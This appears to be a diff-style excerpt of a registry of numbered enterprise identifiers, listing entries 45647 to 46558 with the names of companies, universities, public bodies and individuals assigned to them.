+45647 Grant Thornton UK LLP
+45648 Bridgeway Software, Inc.
+45649 Sousou Industries
+45650 Fibersystem AB
+45651 Layer3 TV, Inc.
+45652 New Jersey State Government (Office of Information Technology)
+45653 Compression Services
+45654 LogicVein, Inc.
+45655 CHUNG-HSIN ELECTRIC & MACHINERY MFG. CORP.
+45656 Vector-V, Law Firm
+45657 Syncbak
+45658 P3 GmbH & Co KG
+45659 LPO OUI Dev Teams
+45660 Pentandra Research Solutions, Inc.
+45661 Instec Inc.
+45662 Intelligence Ambiante
+45663 Hochschule Merseburg
+45664 Guangzhou Hugen Electronic Technology Co .Ltd
+45665 Biroteh Ltd
+45666 Ebiid Product and Solutions, S.L.
+45667 Single Digits
+45668 Midwest Microwave Solutions Inc.
+45669 CBR Systems Limited
+45670 tcc construction
+45671 Nick Sverdel
+45672 HARVL
+45673 Smith & Nephew
+45674 Redbird Advanced Learning, LLC
+45675 Evolve IP, LLC
+45676 OCHIN
+45677 Parashift
+45678 Department of Primary Industries and Mines
+45679 AGR Abfallentsorgungs-Gesellschaft Ruhrgebiet mbH
+45680 ORISOFT
+45681 Polska Spolka Gazownictwa sp. z o.o.
+45682 Michigan Education Special Services Association
+45683 Flexpay AB (Benify)
+45684 Dübon Engineering GmbH
+45685 AllCreator Co., Ltd.
+45686 Ratel Technologies
+45687 oneM2M
+45688 Limone Fresco Limited
+45689 Evolveum
+45690 bitbone AG
+45691 Javacraft LLC
+45692 Dantherm Power A/S
+45693 arvato Systems S4M GmbH
+45694 Comvergence Pty Ltd
+45695 CHAPS spol. s r.o.
+45696 Mitchel Berberich Software GmbH
+45697 Computer Sciences Corporation
+45698 E-KENT Teknoloji ve Odeme Sistemleri San. ve Tic A.S
+45699 JazzHR (formerly 'Hireku, Inc.')
+45700 Transylvania University
+45701 IntegraCore, LLC
+45702 China Transinfo Technology
+45703 Gemeindewerke Ga.-Pa.
+45704 Landstinget i Kalmar Län
+45705 FINT AB
+45706 Bluer Medical Technology
+45707 ITCEG S.A.S
+45708 Lively Arts Productions LLC
+45709 Seibels
+45710 Mobie Oy
+45711 Matrix Electronica S.L.
+45712 SERFIM T.I.C. (formerly 'SERELEC SAS')
+45713 CONSULDATA Advisors di Massimo Del Barba
+45714 Logitravel SL
+45715 Empresa Municipal de Informática S.A. - IPLANRIO
+45716 ARGE Rundfunk-Betriebstechnik
+45717 Sensu Enterprise
+45718 TJH Systems Pty Limited
+45719 inQool a.s.
+45720 Chaos Computer Club Mainz e.V.
+45721 Shenzhen SONTU Medical Imaging Equipment Co.,LTD
+45722 Hamburg Port Authority AoeR
+45723 Cirrent
+45724 FIDO Alliance, Inc.
+45725 ABB Xiamen Low Voltage Equipment Co.,Ltd
+45726 ecava sdn bhd
+45727 HDWIFI TECHNOLOGIES
+45728 JunoTele Solutions Pvt. Ltd
+45729 Roedl IT Operation GmbH
+45730 Geneberg
+45731 WOOBE s.a.s.
+45732 TIM AG
+45733 Frank Wagner Holding Hanseatische Management GmbH
+45734 STARNET s.r.o.
+45735 easyset
+45736 Utilisoft Ltd
+45737 shah-network.com
+45738 Aspirational Cognition LLC
+45739 winfonet.eu
+45740 Cirrus Identity, Inc
+45741 Entensys
+45742 ImageWare Components GmbH
+45743 FIBERLAB
+45744 GGExo
+45745 Care Zone Inc.
+45746 University of Rochester Medical Center
+45747 Wuhan Rui Ying Tong Network Technology Co., Ltd(China)
+45748 Thüga SmartService GmbH (formerly 'Thüga MeteringService GmbH')
+45749 Evolving Models
+45750 gerthoux
+45751 Hibernating Rhinos
+45752 connecT EDV-Vertriebs GmbH
+45753 winterdrache.de
+45754 VoipOtago Ltd
+45755 2memory LTD
+45756 MicroLAB Systems
+45757 FUCOM
+45758 IPCOMM GmbH
+45759 Signicat AS
+45760 Kove IO Inc.
+45761 Celab Communications AB
+45762 Platan spółka z ograniczoną odpowiedzialnością sp.k.
+45763 EMG Systems Sp. z o.o.
+45764 CH Des pays de Morlaix
+45765 nohl.eu
+45766 Serval CA
+45767 Succeed Management Solutions, LLC
+45768 telecoms forensics equipment ltd
+45769 Farm House Technologies, LLC.
+45770 Digital Loggers, Inc.
+45771 weatherlights.com
+45772 TauRes Gesellschaft für Investmentberatung mbH
+45773 Liebherr-IT Services GmbH
+45774 SHS SERVICES GmbH
+45775 Tornado Network Operating System
+45776 Belden Deutschland GmbH
+45777 Fingerprint Technologies SAS
+45778 exp Services Inc.
+45779 Mosaic Life Care at St. Joseph Medical Oncology
+45780 Norsk Sykepleierforbund
+45781 Masaryk Memorial Cancer Institute
+45782 Metacores Sp. z o.o.
+45783 TEKIN
+45784 Novarad, Corp
+45785 bangj, LLC
+45786 SAT-AN CableNet SE
+45787 WISTE
+45788 Agustus & Ahab, Inc.
+45789 Vicon
+45790 Crystal GmbH
+45791 Neos Ventures GmbH
+45792 Flohr IT
+45793 Joint Stock Company "PK Kupchino"
+45794 Safe Creative
+45795 Primo1D SA
+45796 Umea Municipality
+45797 Viettel Group
+45798 Enovae BV
+45799 Csaw BV
+45800 Zorgdoc Nederland BV
+45801 TARASOFT SRL
+45802 Ubee Interactive Corp.
+45803 netcruz inc.
+45804 ERICA
+45805 OCMW Temse
+45806 genealogie.com
+45807 Starbucks Coffee Company
+45808 Global Tecnologia LTDA.
+45809 Beijing Mipay Technology Co., Ltd.
+45810 Binary Rock
+45811 Istvan Puzsar e.v.
+45812 ILoca Services, Inc.
+45813 PI '97 Bt.
+45814 Waukesha-Pearce Industries, Inc.
+45815 Sourcewise
+45816 Bruce R. Smith Limited
+45817 Inacomp Consultores SA
+45818 Passaic County Technical Institute
+45819 Sven Anders
+45820 PROFIPRINT spol. s r.o.
+45821 21st century Oncology, LLC-Gabriel Domenech MD
+45822 Les Ambassadeurs Club
+45823 Orient Technologies LTD
+45824 System One Noc & Development Solutions
+45825 One-Click Softworks
+45826 Singlewire Software, LLC
+45827 Beijing JN TASS Technology Co.,Ltd.
+45828 Kanhan Technologies Limited
+45829 preis24.de GmbH
+45830 Dynniq UK Ltd (formerly 'Imtech Traffic & Infra UK Ltd')
+45831 Argo Technologie SA
+45832 I-ROSE d.o.o.
+45833 Hoffmann Foerdertechnik GmbH
+45834 Tieto Finland Oy
+45835 Tangara Tagentis Inc.
+45836 Varonis System inc.
+45837 Orage.io
+45838 BELIMO Automation AG
+45839 NETEVEN
+45840 Lester Electrical of Nebraska, Inc.
+45841 System One Noc & Development Solutions S.A
+45842 Andrew Stemen
+45843 WebNet Broadband
+45844 Uwe Gradenegger
+45845 EchoPixel, Inc.
+45846 StorPool Storage AD
+45847 ComputerTel LTD
+45848 VISHMAIL
+45849 MMCVEN Mail
+45850 Eternity's Touch, Inc.
+45851 Unfallkasse Baden-Wuerttemberg
+45852 Miami Hematology and Oncology Associates
+45853 Jaguar Land Rover Limited
+45854 Cell Technology Ltd.
+45855 Intracom Asia Co., Ltd.
+45856 Mie Prefectural Government
+45857 Kailow Graphic A/S
+45858 Cifernet Inc.
+45859 Pylo.Net
+45860 Exel Technology Group
+45861 Research Associates of Syracuse, Inc.
+45862 Apost Ltd.
+45863 La Folie Boutique
+45864 Direction Generale de l'Education et des Enseignements
+45865 Shouei electric,co
+45866 GlobalPME
+45867 LUKOIL Bulgaria Ltd.
+45868 Skywire Technologies
+45869 POET GmbH
+45870 Fraunhofer Institute for Secure Information Technology SIT
+45871 FATECH Electronic
+45872 Institut National de l'Audiovisuel
+45873 Instituto Federal Catarinense
+45874 Coencorp
+45875 Edward H. Kaplan,M.D. and Assoc.
+45876 Jetson Systems, LLC
+45877 Intelligent Homes
+45878 vesperal.eu
+45879 Université de Lille
+45880 West-Ward Pharmaceuticals Corp
+45881 2Lconsult
+45882 Global Voice Group, S.A.
+45883 EagleBurgmann Germany GmbH & Co. KG
+45884 ScaleFT Inc (formerly 'AuthClub Inc')
+45885 Cesbo Ltd.
+45886 Connect-Omsk, Ltd.
+45887 Arke Telekom Ltd. Sti.
+45888 Jawset Visual Computing
+45889 TechMIC electronics
+45890 Sys-City Co., Ltd.
+45891 Pandora A/S
+45892 Combination AB
+45893 PSTech
+45894 SysAdmin-CR Sociedad Anonima
+45895 SysAdmin-CR Sociedad Anonima
+45896 Paperless Pipeline, LLC.
+45897 M H Corbin Inc
+45898 KEYLOGIC AB
+45899 CASwell Inc
+45900 Weber Schraubautomaten GmbH
+45901 Kellerman Networks
+45902 Kellerman Networks
+45903 dachsbau
+45904 National Foods Ltd.
+45905 Obihai Technology, Inc.
+45906 Selinko S.A.
+45907 PolyVirtual Corporation
+45908 ITDO Inc.
+45909 SHENZHEN ANKKI TECHNOLOGIES CO., LTD
+45910 haiyi
+45911 SynerMed Labs
+45912 Universitas Brawijaya
+45913 M2 Group Pty Ltd
+45914 Cetera Financial Group
+45915 PromonLogicalis
+45916 Quest Payment Systems
+45917 NFRI
+45918 Network Canary
+45919 Planevision Systems GmbH
+45920 Humble Carrier
+45921 Ministry of Agriculture Latvia
+45922 DunaNet-DeviceManagement LLC
+45923 TVN S.A.
+45924 NOU IPAP
+45925 MPS GmbH
+45926 OpenZAB.com
+45927 Ahsay Systems Corporation Limited
+45928 MORU Industrial Systems Co.,LTD.
+45929 Plum Sp. z o.o.
+45930 Landwirtschaftskammer Niedersachsen
+45931 Patterson Companies
+45932 Walcoe
+45933 Kuratorium für Dialyse und Nierentransplantation e.V.
+45934 Fiber Mountain Inc
+45935 Main Line Oncology Hematology Associates
+45936 Das Kommunalunternehmen des Landkreises Wuerzburg
+45937 M & C Enterprises, Ltd.
+45938 Intelligent Visibility, Inc.
+45939 TRIMET S.A.
+45940 Beckman Library
+45941 PM CONSULTING
+45942 ezVoice Telecom
+45943 Londelec UK Ltd
+45944 IT Telecom co.,Ltd
+45945 Friedrich-von-Bodelschwingh-Schule
+45946 dynexo GmbH
+45947 Kartal Belediye Baskanligi
+45948 FitnessFirst Germany
+45949 RF elements s.r.o.
+45950 Cogo Labs
+45951 RDK Management LLC
+45952 CTRLTECH S.A.
+45953 CyberData Corporation
+45954 Truven Health Analytics Inc.
+45955 Big Daddy Games, LLC
+45956 128 Technology
+45957 Cryptographic Information Services
+45958 aisubp
+45959 Zhongyunwangan Technology (Beijing) Co.,Ltd
+45960 IMS, TU Wien
+45961 ATGEN SOFTWARE SOLUTIONS LLP
+45962 SHOWA TSUSHIN KOGYO INC.
+45963 HHnet
+45964 Dispersive Technologies
+45965 Aleris International Inc
+45966 GURI SOFTHOUSE LTDA
+45967 SWAN Analytische Instrumente AG
+45968 perinova IT-Management GmbH
+45969 perinova IT-Management GmbH
+45970 Böttcher & Collin GbR
+45971 CJSC "Transinfoset"
+45972 Baptist School of Health Professions
+45973 Playground Global
+45974 SPINNER GmbH
+45975 Securities Finance Trust Company
+45976 Intema Comunicaciones
+45977 Platform.sh
+45978 Vision 95 Ltd.
+45979 Intevac, Inc.
+45980 S.Network Communications Ltd.
+45981 DroidInActu
+45982 Neliva
+45983 Airbus DS Limited - MIPN
+45984 OOO Stels
+45985 CyberStream Ltd
+45986 Kramer Electronics Ltd.
+45987 Rete telematica del CNR di Pisa
+45988 SKYCOM
+45989 SKYCOM
+45990 Brueckner-Werke KG
+45991 KLENK HOLZ AG
+45992 Grabeuh Corp.
+45993 ITSMOS
+45994 Prink s.r.l
+45995 Posteo e.K.
+45996 Chora A/S
+45997 Colorado Center for Gynecologic Oncology
+45998 JENSEN-GROUP
+45999 The Dysongang
+46000 Third Light Ltd.
+46001 Vektra Advanced Engineering
+46002 6Harmonics Inc.
+46003 NAUTILUS INFOTECH Co., Ltd.
+46004 50Hertz Transmission GmbH
+46005 SAG Services AG (formerly 'SAG Informatik AG')
+46006 Greetz BV
+46007 Augustinum gGmbH
+46008 Codan A/S
+46009 Advanced Hematology & Oncology Group of PR
+46010 Westfalen Weser Netz GmbH
+46011 cloudVM Inc.
+46012 Redhot OOO
+46013 Yhat, Inc.
+46014 KCA Deutag
+46015 PrimoTechSolution S.R.L.
+46016 Leonton Technologies, Co. Ltd.
+46017 Research Institute of Systems Planning, Inc. / ISP
+46018 Thoralf Tietboehl (ttcn)
+46019 DSPG Ltd.
+46020 Cardio Sistemas Coml. Indl. Ltda.
+46021 Thales Belgium SA
+46022 Deep S.R.L
+46023 High Desert Oncology
+46024 W&W-AFCO STEEL LLC
+46025 Kahana Technology, LLC
+46026 Southern Oncology Hematology Associates
+46027 OFICINA NACIONAL DE PROCESOS ELECTORALES
+46028 Play Consulting
+46029 Serenergy A/S
+46030 iRespond
+46031 Taconza LLC
+46032 AccelStor Technologies Ltd
+46033 Cavium Inc.
+46034 Ramakrishna Mission Vivekananda University
+46035 Company Crypton Ltd.
+46036 IT CARD Centrum Technologii Platniczych SA
+46037 City of Pearland
+46038 Layer8
+46039 Dynamist AB
+46040 Freestyle Technology Pty. Ltd.
+46041 W.B. Hunt Co., Inc.
+46042 SpacePath Communications
+46043 element j
+46044 Cloudbyte
+46045 BYTEDANCE LTD.
+46046 Branislav Manic Law Office
+46047 paulista informatica ltd
+46048 Attivo Networks
+46049 SMSEagle
+46050 Remod Oy
+46051 STAGE2015
+46052 Neotys
+46053 AVEBE U.A.
+46054 NBS Ltd.
+46055 Hytera Broadband Products
+46056 OOO"NPF MULTIOBRABOTKA"
+46057 Hong Kong Community Athletic Development
+46058 Panda Sports
+46059 Vidamin Ltd
+46060 central florida cancer and blood center
+46061 Ognios GmbH
+46062 YAVEON AG
+46063 Broala
+46064 AddApptr GmbH
+46065 Cannabis Credit
+46066 The DiameterTech Project
+46067 Union College - Computer Science Department
+46068 Take-Two Interactive Software, Inc.
+46069 Deutsches Rotes Kreuz Ortsverein Suedlicher Wonnegau e. V.
+46070 NDP, LLC (NVEA)
+46071 Chista Ltd.
+46072 B2B-SOFT
+46073 Imbasoft
+46074 ROAMData, Inc.
+46075 Freshmind Sp. z o. o.
+46076 Edward A Eichler, Jr., M.D., P.A.
+46077 Inventive IT Services Ltd
+46078 Beijing ForceControl-Huacon Technology Co., Ltd.
+46079 HM Electronics, Inc.
+46080 Yara SA/NV
+46081 INFODAS Gesellschaft für Systementwicklung und Informationsverarbeitung mbH
+46082 AVI
+46083 F&F Computer Anwendungen und Unternehmensberatung GmbH
+46084 FACTORYNET AUGUSTA, S.L.
+46085 INFORMATICA Y PROCESOS DE GESTION, S.L.
+46086 Elvexys SA
+46087 IT Scharschinger
+46088 Sylvain Girod
+46089 edisonlee55
+46090 namotronic GmbH
+46091 ICM University of Warsaw
+46092 Ingenieurgesellschaft für Gebäudeautomation mbH
+46093 Sistelbanda S.A.
+46094 Brampton College
+46095 otrisPROJECTS GmbH
+46096 bitbert.com
+46097 IPiFony Systems, Inc.
+46098 Ericsson Canada Inc.
+46099 Community Health Systems-CHS14
+46100 Maxwell Paper Canada Inc
+46101 Belar Electronics Laboratory Inc
+46102 Art Van Furniture, Inc.
+46103 VoIP Integration Inc
+46104 TVM Capital
+46105 Alexion Pharmaceuticals, Inc.
+46106 1-800 Contacts Inc.
+46107 Medivation, Inc.
+46108 Medivation, Inc.
+46109 Credomatic
+46110 smartTrade Technologies
+46111 Document Knowledge Business Solutions (DKB Solutions SA)
+46112 Russian Institute for Scientific and Technical Information of the Russian Academy of Sciences (VINITI RAS)
+46113 The Moscow Chamber of Advocates
+46114 «SUMYOBLENERGO» PJSC
+46115 Progi-média inc.
+46116 CRYPTONEO
+46117 SMP Solutions GmbH
+46118 SwissMediaPartners AG
+46119 Eden Rock Communications, LLC
+46120 Alliance-Electronics, Ltd.
+46121 The Stahura-Brenner Group Inc.
+46122 WrightCCS
+46123 Wiener Boerse AG
+46124 MICI Network Co,.Ltd
+46125 Canadian Pacific
+46126 Blockstream
+46127 Rock Solid Solutions LLC
+46128 City of Biel
+46129 MechanicaPark LLC
+46130 Informa Sistemi S.P.A.
+46131 Hackerspace Kraków
+46132 Amdatu
+46133 ostermeyer.de
+46134 Uprava za indirektno oporezivanje
+46135 MSS Managed Security Services GmbH
+46136 Steinbeis Embedded Systems Technologies GmbH
+46137 Association Clandestine
+46138 HTU Härtetechnik Uhldingen-Mühlhofen GmbH
+46139 Baseventure Investing
+46140 Laboratoire d'Analyse et de Mathématiques Appliquées
+46141 Ysance
+46142 ShenZhen Sinexcel Electric Co.Ltd.
+46143 Lazada South East Asia (formerly 'Lazada Tech Hub')
+46144 Schmidt & Co., (H.K.) Ltd. Taiwan Branch
+46145 A. Baggenstos & Co. AG
+46146 INFORM GmbH
+46147 American Prepaid VAS LLC
+46148 Beijing Yoxon Smart Technology Co.,Ltd.
+46149 AO Citibank
+46150 spornkuller.de
+46151 Brett A. Lewis
+46152 MCHV Software
+46153 Budafony
+46154 xMob
+46155 TAKAOKA TOKO CO.,LTD.
+46156 SB Systems Co.,Ltd
+46157 NARI Technology Co., Ltd.
+46158 Ohanae
+46159 TselinTransStroy Ltd.
+46160 GDV Dienstleistungs-GmbH
+46161 Mobile Viewpoint
+46162 Tuna Technologies Limited
+46163 Neuberger Gebaeudeautomation GmbH
+46164 AS-PC Sarl
+46165 Politeknik Negeri Ujung Pandang
+46166 JETR Consulting
+46167 Toptranslation GmbH
+46168 NewGen Interactive Software Corporation
+46169 International Capital Investment Company
+46170 Runetwister Publishing
+46171 HashPlex, Inc
+46172 Redcello Ltd.
+46173 PayPal Inc
+46174 SecuLynx Corporation
+46175 NEWIND Sp. z o.o.
+46176 SensorLink
+46177 KYOSAN ELECTRIC MFG. CO., LTD.
+46178 Faculty of Informatics, TU Wien
+46179 Pikkatech Software Development & Consulting
+46180 Gables Engineering, Inc.
+46181 sanscomp
+46182 Golden Grid Systems
+46183 Dansk Medicinsk DataCenter ApS
+46184 Lumentum.com
+46185 Intelity
+46186 cyontec solutions GmbH
+46187 AGRAVIS Raiffeisen AG
+46188 MarketFactory Inc
+46189 John Cianfarani
+46190 Phoenyxcode
+46191 21st Century Oncology - Crestview
+46192 ToastCoders
+46193 Distributed Hacker Maker Network Inc.
+46194 arara inc. (formerly 'repica Inc.')
+46195 sdc world group co.
+46196 Narodowy Fundusz Ochrony Srodowiska i Gospodarki Wodnej
+46197 Telensa Limited
+46198 Equinox Holdings LLC
+46199 DENTSPLY International
+46200 Matthew Martin
+46201 Business Telecommunications Services Europe
+46202 Avigilon Corporation
+46203 Strictly Monitoring Limited
+46204 Hutchison Drei Austria GmbH
+46205 MIT Dynamic Technologies Limited
+46206 Stamm
+46207 Kasisto, Inc.
+46208 Knjaz Milos a.d.
+46209 deepin
+46210 Shanghai Koal Software
+46211 Fernfachhochschule Schweiz (FFHS)
+46212 e2E Satcom Limited
+46213 Atmos Sistemas Ltda.
+46214 COGIT MATIDA UK LTD
+46215 Shandong Senter Electronic Co., Ltd.
+46216 Rocken am Brocken UG
+46217 VINCI Energies Schweiz AG
+46218 SilverTours GmbH
+46219 Migros Bank AG
+46220 Ministério Público do Estado de Santa Catarina
+46221 iconectiv
+46222 On IP 46 Limited
+46223 Cyber Medical Imaging, Inc.
+46224 Inner Range Pty. Ltd.
+46225 tehasdf.com
+46226 Apigee Corporation
+46227 Guangxi radio and television information network corporation limited
+46228 Nikko Graphic Arts Co.,Ltd.
+46229 igus GmbH
+46230 Cleverlance Enterprise Solutions a.s.
+46231 Eikeo
+46232 Ergatel
+46233 Mundo Digital Informática Redes y Comunicación S.L.
+46234 SpaceTeamLab, Ltd.
+46235 RCNTEC
+46236 Multisoft S.A.
+46237 Ayuntamiento de Alcobendas
+46238 Immobilien Hilgers e.K
+46239 InviNets
+46240 Polish Border Guard (Border Guard Headquarters)
+46241 Bionic Fuel Knowledge Partners Inc.
+46242 Netonix
+46243 Programize
+46244 South African Air Force
+46245 Reo3
+46246 88.io
+46247 Supertel-DALS
+46248 Pole/Zero Corporation
+46249 SITES
+46250 Amsted Rail
+46251 POSBANK
+46252 Z-ROUTER TECHNOLOGY
+46253 Plusserver GmbH
+46254 Vector Informatik GmbH
+46255 Ovenden Papers Limited
+46256 Hokkaido University
+46257 Wlbe Deutschland
+46258 VENISO SOLUTIONS PRIVATE LIMITED
+46259 Hauseigentümerverband Zürich
+46260 IQ-Media B.V.
+46261 Universidad Nacional del Litoral
+46262 Zscaler Inc
+46263 LPL Financial
+46264 FinnHEMS Oy
+46265 AlBikar.net
+46266 Wood County Telephone Company dba Solarus
+46267 Development Gateway
+46268 bleim.net GmbH
+46269 Dynasys Technology Co.,LTD
+46270 NBOO-RU
+46271 PaloVerde Cancer Specialists
+46272 DataStax, Inc.
+46273 informalogique
+46274 Heartware
+46275 EBPI
+46276 Linux Lab
+46277 Ministerio dos Petroleos
+46278 TÃœV NORD AG
+46279 Thomas Hellström
+46280 Enterprise Computing
+46281 WRITESYS Traffic Systems
+46282 uGo3D LLC
+46283 Inmotion Data, LLC.
+46284 ENERGEX
+46285 Trimble Navigation Ltd.
+46286 RUDIMENTS
+46287 yaxunhongda
+46288 Tedas B.V.
+46289 gluIT Software GmbH
+46290 VS XXI JSC
+46291 IES srl
+46292 Koiossian Inc.
+46293 Monroe County Hospital Oncology Clinic
+46294 inView GmbH
+46295 City of Huntsville
+46296 SHI
+46297 Agrarmarkt Austria
+46298 ISPM Serviços em Informática LTDA
+46299 Birmingham Hematology and Oncology Associates, LLC d/b/a Alabama Oncology
+46300 MicroKnight Business Systems Ltd.
+46301 CARRA, Inc.
+46302 Urmet Sistemi S.p.A.
+46303 ITSUDE
+46304 GSMA
+46305 OSDE
+46306 Institute for Traffic Safety Management and Research
+46307 Briskhome
+46308 GDC Communications
+46309 Delft Solutions
+46310 BCons Argentina S.A.
+46311 Baufest
+46312 Jack Kingsman
+46313 Level 8 Aps
+46314 SongMovers
+46315 Silicon Valley Bank
+46316 AERTiCKET AG
+46317 Abraxas Informatik AG
+46318 Mils Electronic Gesmbh & CoKG
+46319 Traffic Tech Inc.
+46320 BNC National Bank
+46321 Sensignal Co.,Ltd.
+46322 Gareth Williams
+46323 F. KLUCZNIK & SON LIMITED
+46324 HAYSYS Ltd
+46325 Firstwan Delivery Network Services
+46326 IUT de VALENCE
+46327 Niagara Regional Police Service
+46328 DDS Wireless International Inc
+46329 Security Indemnity Insurance Company In Liquidation
+46330 Vubiq Networks
+46331 NightSteam Solutions
+46332 Lacuna Software LTDA - EPP
+46333 American Express Global Business Travel
+46334 HRM Systems AG
+46335 Bruce A. Hayton, M.D.
+46336 Live Niaga
+46337 Meisei Electric Co., Ltd.
+46338 CTO Balzuweit GmbH
+46339 National Archives, Czech Republic
+46340 The Opole University of Technology
+46341 Dansk Metalarbejderforbund
+46342 Anoop Sukumaran
+46343 mazou kitchen
+46344 PricewaterhouseCoopers AG
+46345 Clear Government Solutions, Inc.
+46346 Vail Software Solutions
+46347 Ovapro
+46348 Providence Health & Services
+46349 Deepfield
+46350 NorCERT - Norwegian Computer Emergency Response Team
+46351 Laubheimer Networks
+46352 Premier Business Centers
+46353 Schwackenberg Consulting
+46354 Kooperativa pojistovna, a.s.
+46355 Expert-Team Pte Ltd
+46356 Grupo de Tecnologia Cibernetica, S.A. de C.V.
+46357 NBS System
+46358 Zwick GmbH & Co KG
+46359 Robert P. Fein and David A. Richards
+46360 West and Central African Research and Education Network (WACREN)
+46361 Richard Scranton
+46362 Digital Data Technologies Inc.
+46363 BGProtect
+46364 Halmstad University
+46365 arvato IT Support GmbH
+46366 Technicolor
+46367 UPSINVERTER.COM
+46368 The Job Planet
+46369 Miskolci Egyetem Informatikai Intezet
+46370 eshore
+46371 Japan Canada Oil Sands Limited
+46372 Uber Operations, LLC
+46373 Bypass Network Services
+46374 Zizaike Inc.
+46375 eCommistry Ltd
+46376 Nullroute
+46377 Star Media (Beijing) CO.,LTD
+46378 Centre Hospitalier Mémorial Saint-Lô
+46379 LunaticIsland.net
+46380 Enghouse Interactive AB
+46381 Arcapola Shipwrights (formerly 'Imterra')
+46382 Berolina-autolacke
+46383 Ministry Division, Church of England
+46384 DUCA Financial Services Credit Union Ltd.
+46385 Walnut Hill Physicians’ Hospital, LLC
+46386 Shenzhen GL-COM Technology Co.,Ltd.
+46387 Drift
+46388 Taygeta Scientific Inc.
+46389 VESTA
+46390 Clarke Technical Services, Inc.
+46391 jddev
+46392 Donostian Belgie
+46393 Programlabbet AB
+46394 BLITSC
+46395 FirstRand Group
+46396 Marotta Controls, Inc.
+46397 iSecway Inc.
+46398 Regional Cancer Care Associates Hope Community Cancer Center Division
+46399 iSIGHT Partners
+46400 NorQuest College
+46401 Marshall B. Ketchum University
+46402 NSF Telecom Ab
+46403 QA2
+46404 DOT Systems Sp. z o.o.
+46405 superChic
+46406 Foundation Pärnu Hospital
+46407 TECNOLOGIAS EOS SA DE CV
+46408 PKP Polskie Linie Kolejowe S.A.
+46409 BSP Consulting spol. s r.o.
+46410 SEGGER Microcontroller GmbH & Co. KG
+46411 Art2Wave Canada Inc.
+46412 Andrew Sheret Ltd.
+46413 Table25, Inc.
+46414 William Oliver
+46415 Open Banking Foundation
+46416 The National Archives of Latvia
+46417 Emerald Coast Cancer Center
+46418 Agile Ingeniería y Consultoría Ltda.
+46419 Araknis Networks
+46420 Knauf Information Services GmbH
+46421 B/E Aerospace
+46422 UTEK TECHNOLOGY(SHENZHEN)CO,LTD
+46423 Osirium Ltd
+46424 Otterbein Homes
+46425 DTSV, Inc.
+46426 Salinas Valley Medical Clinic Cancer Care
+46427 LISI AEROSPACE
+46428 Mobicare
+46429 Universidad Nacional de San Martin
+46430 RTEC
+46431 Alaf Organization
+46432 Modula Shop Systems
+46433 Fern Ridge School District 28J
+46434 consulter net GmbH
+46435 LEW AG
+46436 Infoprocess
+46437 TTI NORTE SL
+46438 Bartec-Vodec
+46439 Bolsas y Mercados Españoles Innova, S.A.U. (BME Innova).
+46440 Cloud Electronics Ltd.
+46441 AKROS AG
+46442 PIHI Media
+46443 intec GmbH
+46444 Zhejiang Huanshun Network Science & Technology Co., Ltd.
+46445 Unitel Engineering
+46446 OV Corporation SAS
+46447 Embedict
+46448 Telewizja Polsat Spolka z o. o.
+46449 Collibra
+46450 Opsmate, Inc.
+46451 InfoRelay Online Systems, Inc
+46452 Lanworld Finland Oy
+46453 McKesson IWS
+46454 Goldberg and Mathew Medical Assc P.L.L.C.
+46455 Coral Active
+46456 AttoCore Ltd
+46457 Gerrie Electric Wholesale Limited
+46458 ENow, inc.
+46459 Mairie de Canteleu
+46460 Veterinary Specialists of North Texas
+46461 Outhwaite Technologies
+46462 Sicoob Confederação
+46463 Radio Gigabit Inc.
+46464 Knowledgeloop, Inc.
+46465 EKE-Electronics Ltd.
+46466 Rossbach Systems
+46467 CellSens
+46468 Coho Data, Inc.
+46469 149W Managed Services LLC
+46470 Man Technology Co, Ltd.
+46471 Illusive Networks Ltd.
+46472 infraView GmbH
+46473 Otterbein Homes
+46474 Kiwox Soluciones Tecnológicas
+46475 OSTEC Business Security
+46476 Martijn van Hoof
+46477 HealthNow New York Inc
+46478 DIAL GmbH
+46479 Unidesk Corporation
+46480 Modular Mining Systems, Inc.
+46481 Desjardins Groupe Technologies
+46482 Netki, Inc.
+46483 ERLPhase Power Technologies Ltd
+46484 HERE North America, LLC
+46485 Guy's and St Thomas' NHS Foundation Trust
+46486 Dedrone GmbH
+46487 Stripe, Inc.
+46488 WALSER-NET
+46489 TGR - Tecnologia para Gestão de Redes, S.A.
+46490 Captel
+46491 Valerio Morozzo
+46492 Conevity Solutions Inc
+46493 UAB "GKF"
+46494 Assimil8 Limited
+46495 European Dynamics SA
+46496 DEPARTAMENTO ADMINISTRATIVO DE CIENCIA, TECNOLOGIA E INNOVACION - COLCIENCIAS
+46497 ISS BRASIL LTDA
+46498 Jiangsu Sinolte Wireless Technology Co., Ltd.
+46499 ICD CO.,LTD
+46500 Trukai Industries Limited
+46501 Didactum® Ltd. Deutschland (formerly 'Vutlan sro')
+46502 TASS
+46503 Quench Worldwide Limited
+46504 Stolt-Nielsen Limited
+46505 PLAS-TEK Ltd.
+46506 Systems Integrated
+46507 Simpress Comercio Locacao e Servicos
+46508 Glen Raven, Inc.
+46509 Oncology and Hematology Specialists
+46510 Wake County Public School System
+46511 New Telecom Solutions LLC
+46512 Times Internet Limited
+46513 ZorgNed Automatisering BV
+46514 Mhashim Ltd
+46515 Wolf-Medizintechnik GmbH
+46516 Ante Grup Elektrik Elektronik Bilişim İnşaat Danışmanlık San. ve Tic. Ltd. Şti.
+46517 FitX Deutschland GmbH
+46518 SPD Electrical Engineers (Pty) Ltd
+46519 Albertslund Kommune
+46520 Hitachi Industry & Control Solutions, Ltd.
+46521 PMC - PERIPHERIQUES ET MATERIELS DE CONTROLE
+46522 Dino Occhialini
+46523 Bridgetec Corp.
+46524 Linkbroad Technology Beijing Corporation Limited
+46525 Hedvig Inc.
+46526 Moldeo AB
+46527 Trans Link Systems B.V.
+46528 Shanghai Chuxun Information Technology Co.,Ltd.
+46529 ldap4mail
+46530 R-SYS s.r.o.
+46531 PGE Polska Grupa Energetyczna S.A.
+46532 Hinchingbrooke Hospital NHS Health Care Trust
+46533 Open Source System
+46534 Arx One
+46535 CosmoKey GmbH & Co. KG
+46536 Textel Marimon s.a.
+46537 Yodel Delivery Network Limited
+46538 Pioneers Memorial Healthcare
+46539 Virtual Network Element, Inc.
+46540 VSSUT
+46541 Seneca Data Distributors, Inc.
+46542 Mountain Blue Cancer Care Center
+46543 CNIAP - Guinea Ecuatorial
+46544 Axion Technologies Ltd.
+46545 Rechtsanwaltskanzlei Schaalo
+46546 Impavid LLC
+46547 BILD GmbH & Co. KG
+46548 Secvice Information Technologies Private Limited
+46549 Messer Information Services GmbH
+46550 Dufoort
+46551 Amprion GmbH
+46552 Eltham College
+46553 Amsterdamtelecom Ltd.
+46554 Anthon Romanov
+46555 Kostya.Pro
+46556 L.D. Lutum
+46557 Scale Genius Inc.
+46558 FutoIn
